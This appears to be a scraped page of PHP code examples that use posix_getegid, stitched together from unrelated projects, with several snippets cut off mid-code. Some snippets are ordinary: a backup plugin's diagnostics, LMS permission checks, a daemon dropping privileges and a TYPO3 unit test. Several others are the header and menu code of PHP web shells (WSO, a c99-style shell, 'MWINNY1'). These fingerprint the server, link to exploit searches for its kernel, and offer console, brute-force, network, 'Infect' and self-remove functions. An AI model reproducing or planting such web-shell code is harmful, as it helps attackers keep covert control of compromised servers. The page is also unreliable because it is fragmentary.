  * @return bool|int
  */
 protected static function getCurrentGID()
 {
     if (is_callable("getmygid")) {
         return getmygid();
     } elseif (is_callable("posix_getegid")) {
         return posix_getegid();
     } else {
         return false;
     }
 }
Ejemplo n.º 20
0
makehide('action', $action);
makehide('nowpath', $nowpath);
makehide('p1', $p1);
makehide('p2', $p2);
makehide('p3', $p3);
makehide('p4', $p4);
makehide('p5', $p5);
formfoot();
if (!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(@posix_geteuid());
    $gid = @posix_getgrgid(@posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><?php 
echo @php_uname();
?>
 / User:<?php 
echo $uid . ' ( ' . $user . ' ) / Group: ' . $gid . ' ( ' . $group . ' )';
?>
</span><?php 
Ejemplo n.º 21
0
}
// PHP Process user/group.
if (!defined('PB_IMPORTBUDDY')) {
    $success = true;
    $php_user = '******' . __('Unknown', 'it-l10n-backupbuddy') . '</i>';
    $php_uid = '<i>' . __('Unknown', 'it-l10n-backupbuddy') . '</i>';
    $php_gid = '<i>' . __('Unknown', 'it-l10n-backupbuddy') . '</i>';
    if (is_callable('posix_geteuid') && false === in_array('posix_geteuid', $disabled_functions_array)) {
        $php_uid = @posix_geteuid();
        if (is_callable('posix_getpwuid') && false === in_array('posix_getpwuid', $disabled_functions_array)) {
            $php_user = @posix_getpwuid($php_uid);
            $php_user = $php_user['name'];
        }
    }
    if (is_callable('posix_getegid') && false === in_array('posix_getegid', $disabled_functions_array)) {
        $php_gid = @posix_getegid();
    }
    $parent_class_test = array('title' => 'PHP Process User (UID:GID)', 'suggestion' => 'n/a', 'value' => $php_user . ' (' . $php_uid . ':' . $php_gid . ')', 'tip' => __('Current user, user ID, and group ID under which this PHP process is running. This user must have proper access to your files and directories. If the PHP user is not your own then setting up a system such as suphp is encouraged to ensure proper access and security.', 'it-l10n-backupbuddy'));
    if (false === $success) {
        $parent_class_test['status'] = __('WARNING', 'it-l10n-backupbuddy');
    } else {
        $parent_class_test['status'] = __('OK', 'it-l10n-backupbuddy');
    }
    array_push($tests, $parent_class_test);
}
?>



<table class="widefat">
	<thead>
Ejemplo n.º 22
0
try {
    include 'ProxyFramework.php';
    //include('ProxyCheckerImpl.php');
    include 'ParanoidProxyCheckerImpl.php';
    include 'AtomintersoftModule.php';
    include 'SamairModule.php';
    include 'FreeCheckerModule.php';
    include 'NNTimeModule.php';
    // set proper permissions
    if (posix_getgid() != GID) {
        posix_setgid(GID);
    }
    if (posix_getuid() != UID) {
        posix_setuid(UID);
    }
    if (posix_getegid() != GID) {
        posix_setegid(GID);
    }
    if (posix_geteuid() != UID) {
        posix_seteuid(UID);
    }
    // first check that an instance is not already running
    if (file_exists(PIDFILE)) {
        $line = file(PIDFILE);
        $pid = trim($line[0]);
        if (count(explode("\n", shell_exec("ps --pid " . $pid))) > 2) {
            die("An instance of the daemon is already running with PID {$pid}\n");
        } else {
            // no process with that PID, can safely remove the existing PID file
            print "Found dangling PID file, removing...\n";
            unlink(PIDFILE);
Ejemplo n.º 23
0
<?php

/*
 *  LMS version 1.11-git
 *
 *  (C) Copyright 2001-2012 LMS Developers
 *
 *  Please, see the doc/AUTHORS for more information about authors!
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License Version 2 as
 *  published by the Free Software Foundation.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
 *  USA.
 *
 *  $Id$
 */
if (!is_dir(SMARTY_COMPILE_DIR)) {
    die('Missing directory <B>' . SMARTY_COMPILE_DIR . '</B>. Can enybody make them?');
}
if (!is_writable(SMARTY_COMPILE_DIR)) {
    die('Can\'t write to directory <B>' . SMARTY_COMPILE_DIR . '</B>. Can you run: <BR><PRE>chown ' . posix_geteuid() . ':' . posix_getegid() . ' ' . SMARTY_COMPILE_DIR . "\nchmod 755 " . SMARTY_COMPILE_DIR . '</PRE>This helps me to work. Thanks.');
}
Ejemplo n.º 24
0
 */
$startup_errors = array();
if (!is_dir(SMARTY_COMPILE_DIR)) {
    $startup_errors[] = 'mkdir ' . SMARTY_COMPILE_DIR;
}
if (!is_writable(SMARTY_COMPILE_DIR)) {
    $startup_errors[] = 'chown ' . posix_geteuid() . ':' . posix_getegid() . ' ' . SMARTY_COMPILE_DIR . "\nchmod 755 " . SMARTY_COMPILE_DIR;
}
if (!is_dir(BACKUP_DIR)) {
    $startup_errors[] = 'mkdir ' . BACKUP_DIR;
}
if (!is_writable(BACKUP_DIR)) {
    $startup_errors[] = 'chown ' . posix_geteuid() . ':' . posix_getegid() . ' ' . BACKUP_DIR . "\nchmod 755 " . BACKUP_DIR;
}
if (!is_dir(DOC_DIR)) {
    $startup_errors[] = 'mkdir ' . DOC_DIR;
}
if (!is_writable(DOC_DIR)) {
    $startup_errors[] = 'chown ' . posix_geteuid() . ':' . posix_getegid() . ' ' . DOC_DIR . "\nchmod 755 " . DOC_DIR;
}
if (!is_readable(LIB_DIR . DIRECTORY_SEPARATOR . 'Smarty' . DIRECTORY_SEPARATOR . 'Smarty.class.php')) {
    $startup_errors[] = SYS_DIR . DIRECTORY_SEPARATOR . 'devel' . DIRECTORY_SEPARATOR . 'smarty_install.sh';
}
if (count($startup_errors) > 0) {
    print 'Can not start because detected some problems. Please run:<PRE>';
    foreach ($startup_errors as &$err) {
        print $err . "\n";
    }
    print '</PRE>This helps me to work. Thanks.';
    die;
}
Ejemplo n.º 25
0
function printHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = "UTF-8";
	global $color;
	?>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
<style>
	body		{ background-color:#444;font: 9pt Lucida,Verdana;color:#e1e1e1;margin: 0; }
	td,th		{ font: 9pt Lucida,Verdana;vertical-align:top; }
	table.info	{ color:#fff;background-color:#222; }
	span		{ color:<?=$color?>;font-weight: bolder; }
	h1			{ color:<?=$color?>;border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
	div.content	{ padding: 5px;margin-left:5px;background-color:#333; }
	a			{ text-decoration:none; color:<?=$color?>; }
	a:hover		{ text-decoration:underline; }
	.ml1		{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
	.bigarea	{ width:100%;height:250px; }
	input, textarea, select	{ margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
	form		{ margin:0px; }
	#toolsTbl	{ text-align:center; }
	.toolsInp	{ width: 300px }
	.main th{text-align:left;background-color:#5e5e5e;}
	.main tr:hover{background-color:#5e5e5e}
	.main td, th{vertical-align:middle}
	.l1	{background-color:#444}
	pre{font-family:Courier,Monospace;}
</style>
<script>
	function set(a,c,p1,p2,p3,charset) {
		if(a != null)document.mf.a.value=a;
		if(c != null)document.mf.c.value=c;
		if(p1 != null)document.mf.p1.value=p1;
		if(p2 != null)document.mf.p2.value=p2;
		if(p3 != null)document.mf.p3.value=p3;
		if(charset != null)document.mf.charset.value=charset;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		document.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = "ajax=true";
		for(i=0;i<document.mf.elements.length;i++)
			params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
		sr('<?=$_SERVER['REQUEST_URI'];?>', params);
	}
	function sr(url, params) {	
		if (window.XMLHttpRequest) {
			req = new XMLHttpRequest();
			req.onreadystatechange = processReqChange;
			req.open("POST", url, true);
			req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
			req.send(params);
		} 
		else if (window.ActiveXObject) {
			req = new ActiveXObject("Microsoft.XMLHTTP");
			if (req) {
				req.onreadystatechange = processReqChange;
				req.open("POST", url, true);
				req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
				req.send(params);
			}
		}
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				//alert(req.responseText);
				var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} 
			else alert("Request error!");
	}
</script>
<head><body>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
</form>
<?php
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$millink='http://milw0rm.com/search.php?dong=';
	if( strpos('Linux', $kernel) !== false )
		$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
	else
		$millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0;$j<=$i;$j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network', 'Logout'=>'Logout', 'Self remove' => 'SelfRemove');
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach( range('a','z') as $drive )
		if (is_dir($drive.':\\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
		 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
}
<tr><td align=right width=100>';
echo $font;
if ($unix) {
    echo '<font color=blue><b>uname -a :' . ws(1) . '<br>sysctl :' . ws(1) . '<br>$OSTYPE :' . ws(1) . '<br>Server :' . ws(1) . '<br>id :' . ws(1) . '<br>pwd :' . ws(1) . '</b></font><br>';
    echo "</td><td>";
    echo "<font face=Verdana size=-2 color=red><b>";
    echo !empty($uname) ? ws(3) . @substr($uname, 0, 120) . "<br>" : ws(3) . @substr(@php_uname(), 0, 120) . "<br>";
    echo ws(3) . $sysctl . "<br>";
    echo ws(3) . ex('echo $OSTYPE') . "<br>";
    echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
    if (!empty($id)) {
        echo ws(3) . $id . "<br>";
    } else {
        if (function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) {
            $euserinfo = @posix_getpwuid(@posix_geteuid());
            $egroupinfo = @posix_getgrgid(@posix_getegid());
            echo ws(3) . 'uid=' . $euserinfo['uid'] . ' ( ' . $euserinfo['name'] . ' ) gid=' . $egroupinfo['gid'] . ' ( ' . $egroupinfo['name'] . ' )<br>';
        } else {
            echo ws(3) . "user="******" uid=" . @getmyuid() . " gid=" . @getmygid() . "<br>";
        }
    }
    echo ws(3) . $dir;
    echo ws(3) . '( ' . perms(@fileperms($dir)) . ' )';
    echo "</b></font>";
} else {
    echo '<font color=blue><b>OS :' . ws(1) . '<br>Server :' . ws(1) . '<br>User :'******'<br>pwd :' . ws(1) . '</b></font><br>';
    echo "</td><td>";
    echo "<font face=Verdana size=-2 color=red><b>";
    echo ws(3) . @substr(@php_uname(), 0, 120) . "<br>";
    echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
    echo ws(3) . @getenv("USERNAME") . "<br>";
Ejemplo n.º 27
0
function hardHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $GLOBALS['▜'];
    }
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;background-color: #060A10;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #1e252f;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#1e252f;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#1e252f;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type='submit']{background-color:#2E6E9C;}\n\tinput[type='button']{background-color:#2E6E9C;}\n\tinput[type='submit']:hover{background-color:#56AD15;}\n\tinput[type='button']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#1e252f;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : 1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
    if (strpos('Linux', $kernel) !== false) {
        $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
    } else {
        $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
    }
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = 0; $i < $n - 1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = 0; $j <= $i; $j++) {
            $cwd_links .= $path[$j] . '/';
        }
        $cwd_links .= "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets as $▟) {
        $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
    }
    $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
    if (!empty($GLOBALS['▛'])) {
        $m['Logout'] = 'Logout';
    }
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach ($m as $k => $v) {
        $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
    }
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach (range('c', 'z') as $drive) {
            if (is_dir($drive . ':\\')) {
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
            }
        }
    }
    /* (С) 08.2015 dmkcv */
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
}
Ejemplo n.º 28
0
<?php

var_dump(posix_getegid());
Ejemplo n.º 29
0
 /**
  * @test
  */
 public function mkdirSetsGroupOwnershipOfCreatedDirectory()
 {
     if (!function_exists('posix_getegid')) {
         $this->markTestSkipped('Function posix_getegid() not available, mkdirSetsGroupOwnershipOfCreatedDirectory() tests skipped');
     }
     if (posix_getegid() === -1) {
         $this->markTestSkipped('The mkdirSetsGroupOwnershipOfCreatedDirectory() is not available on Mac OS because posix_getegid() always returns -1 on Mac OS.');
     }
     $swapGroup = $this->checkGroups(__FUNCTION__);
     if ($swapGroup !== FALSE) {
         $GLOBALS['TYPO3_CONF_VARS']['BE']['createGroup'] = $swapGroup;
         $directory = uniqid('mkdirtest_');
         Utility\GeneralUtility::mkdir(PATH_site . 'typo3temp/' . $directory);
         clearstatcache();
         $resultDirectoryGroupInfo = posix_getgrgid(filegroup(PATH_site . 'typo3temp/' . $directory));
         $resultDirectoryGroup = $resultDirectoryGroupInfo['name'];
         @rmdir(PATH_site . 'typo3temp/' . $directory);
         $this->assertEquals($resultDirectoryGroup, $swapGroup);
     }
 }
Ejemplo n.º 30
0
function printHeader()
{
    if (empty($_POST['charset'])) {
        $_POST['charset'] = "UTF-8";
    }
    global $color;
    ?>

<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?php 
    echo $_POST['charset'];
    ?>
'><title><?php 
    echo $_SERVER['HTTP_HOST'];
    ?>
 - MWINNY1 </title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color:<?php 
    echo $color;
    ?>
 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid <?php 
    echo $color;
    ?>
;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid <?php 
    echo $color;
    ?>
; font: 9pt Monospace,"Courier New"; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
	var c_ = '<?php 
    echo htmlspecialchars($GLOBALS['cwd']);
    ?>
';
	var a_ = '<?php 
    echo htmlspecialchars(@$_POST['a']);
    ?>
';
	var p1_ = '<?php 
    echo strpos(@$_POST['p1'], "\n") !== false ? '' : addslashes(htmlspecialchars(@$_POST['p1']));
    ?>
';
	var p2_ = '<?php 
